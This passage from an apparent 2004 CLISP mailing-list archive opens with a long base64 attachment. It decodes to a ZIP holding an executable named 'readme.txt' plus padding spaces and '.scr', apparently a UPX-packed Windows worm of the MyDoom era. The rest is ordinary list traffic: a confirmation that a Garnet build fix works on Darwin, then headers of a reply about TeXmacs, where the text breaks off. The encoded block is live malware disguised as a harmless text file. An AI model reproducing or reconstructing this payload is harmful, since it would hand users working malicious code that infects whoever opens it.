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 AAAAAAC1wgAAgMIAAAAAAAAAAAAAAAAAAMDCAACIwgAAAAAAAAAAAAAAAAAAAAAAAAAAAADKwgAA 2MIAAOjCAAAAAAAA9sIAAAAAAAAEwwAAAAAAAAzDAAAAAAAAcwAAgAAAAABLRVJORUwzMi5ETEwA QURWQVBJMzIuZGxsAE1TVkNSVC5kbGwAVVNFUjMyLmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFy eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVtc2V0AAB3 c3ByaW50ZkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAFBLAQIUAAoAAAAAAGk5QTDKJx+eAFgAAABYAABUAAAAAAAAAAAAIAAAAAAA AAByZWFkbWUudHh0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIC5zY3JQSwUGAAAAAAEAAQCCAAAAclgAAAAA ------=_NextPart_000_0008_845F930A.A63EECEB-- From pascal@informatimago.com Sat Jan 31 23:49:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnCMF-0005fn-9A for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 23:49:31 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnCME-0006C1-72 for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 23:49:31 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 64B75586E2; Sun, 1 Feb 2004 08:49:22 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4766838281; Sun, 1 Feb 2004 08:47:33 +0100 (CET) Message-ID: <16412.44820.499431.581313@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> <16408.3347.242266.831975@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 23:50:03 2004 X-Original-Date: Sun, 1 Feb 2004 08:47:32 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-01-28 20:27:15 +0100]: > > > > With it, it goes further and stumble on a similar problem. (Tell me if > > you need more details). > > I fixed the Garnet build (and demos) in the CVS. > Please check it out. > Thanks for reporting the bugs. When corrected the #include to syscalls, cvs HEAD compiles and runs correctly garnet on Darwin. Thank you! -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From jcorneli@math.utexas.edu Sun Feb 01 00:33:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnD2N-0007rM-Sv for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 00:33:03 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnD2N-0005kp-FW for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 00:33:03 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i118X2h19539; Sun, 1 Feb 2004 02:33:02 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AnD2M-0006qb-00; Sun, 01 Feb 2004 02:33:02 -0600 To: clisp-list@lists.sourceforge.net CC: costabel@wanadoo.fr In-reply-to: <200402010558.i115wDh05551@dell3.ma.utexas.edu> (clisp-list-request@lists.sourceforge.net) Subject: [clisp-list] Re: CLisp and GNU TeXmacs integration X-all-your-base-are-belong-to-us: You are on the way to destruction. References: <200402010558.i115wDh05551@dell3.ma.utexas.edu> Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net 